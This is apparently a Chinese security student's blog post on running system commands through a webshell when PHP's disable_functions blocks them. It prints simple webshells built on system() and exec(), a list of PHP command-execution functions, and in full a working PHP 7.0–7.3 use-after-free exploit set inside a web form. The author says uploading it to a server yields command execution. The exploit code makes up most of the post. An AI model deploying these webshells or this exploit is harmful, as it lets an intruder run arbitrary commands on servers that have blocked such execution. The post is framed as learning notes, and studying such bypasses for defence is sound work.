WebShell命令执行限制(解决方案)

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程

介绍

在对某网站的渗透过程中,经常会遇到在上传了WebShell后,却无法执行命令的情况,在蚁剑中如下所示
在这里插入图片描述
像这种情况,一般都是服务器的管理人员禁用了命令执行函数

在WebShell中经常使用system()函数执行系统命令,但如果服务器管理人员在php.ini的disabled_function中禁用了该函数,则无法使用该函数。

有一个叫php.ini的文件是php的配置文件,里面有一个disable_functions的选项,里面可以定义php禁用的函数

例如,我如果在disable_functions中填入system,那我的PHP就无法使用system函数执行系统命令
在这里插入图片描述
index.php

 system($_REQUEST['cmd']); ?>

此时在网页中访问
在这里插入图片描述
无法使用该函数执行命令。

绕过方法1

想要绕过disable_function,最简单的方法就是找到没有被禁用的命令执行函数

例如,服务器禁止了system函数,但是没有禁止exec函数,则可用exec函数执行命令

 
    exec($_REQUEST['cmd'],$result);
    print_r($result);
 ?>

此时在网页中访问
在这里插入图片描述
这里是php中可执行系统命令的函数

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

当你无法执行系统命令时,可去查看被disable_function禁止的函数,然后进行比对,如果发现有服务器遗漏的函数,就可以执行系统命令。

可以上传一个phpinfo到服务器,在里面查看被禁用的函数
在这里插入图片描述

绕过方法2

在蚁剑中有一个插件叫做绕过disable_functions,通过这个插件可以尝试绕过disable_function
WebShell命令执行限制(解决方案)_第1张图片
WebShell命令执行限制(解决方案)_第2张图片
关于这个教程网上有很多,同时我感觉非常鸡肋,几乎所有网站都禁的死死的。

绕过方法3

在我尝试了各种网络上的方法都失败后。我还是打开了github,看有没有大佬的代码。

发现一个可用的,成功进行了绕过

github地址:https://github.com/cbaker730/php_disabled_functions_webshell

看一下大佬提供的代码
df_webshell.php

<html>
<head></head>

<body>

<h2>Webshell for disabled_functions</h2>

<form method="get">
    <input type="text" name="cmd" id="cmd" onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required><button type="submit">Execute</button>
</form>

</body>
</html>



<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
# Improvements: https://github.com/cbaker730




if(isset($_REQUEST['cmd'])){
        echo "
";
        $cmd = ($_REQUEST['cmd']);
        pwn($cmd);
        #system($cmd);
        echo "
"
; die; } #pwn("sudo -l > /var/www/html/shop/vqmod/xml/sudo_output.txt"); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } ?>

该脚本仅支持php7.0~php7.3的版本。

上传该脚本到服务器,即可执行系统命令
WebShell命令执行限制(解决方案)_第3张图片

你可能感兴趣的:(安全,安全,php,webshell)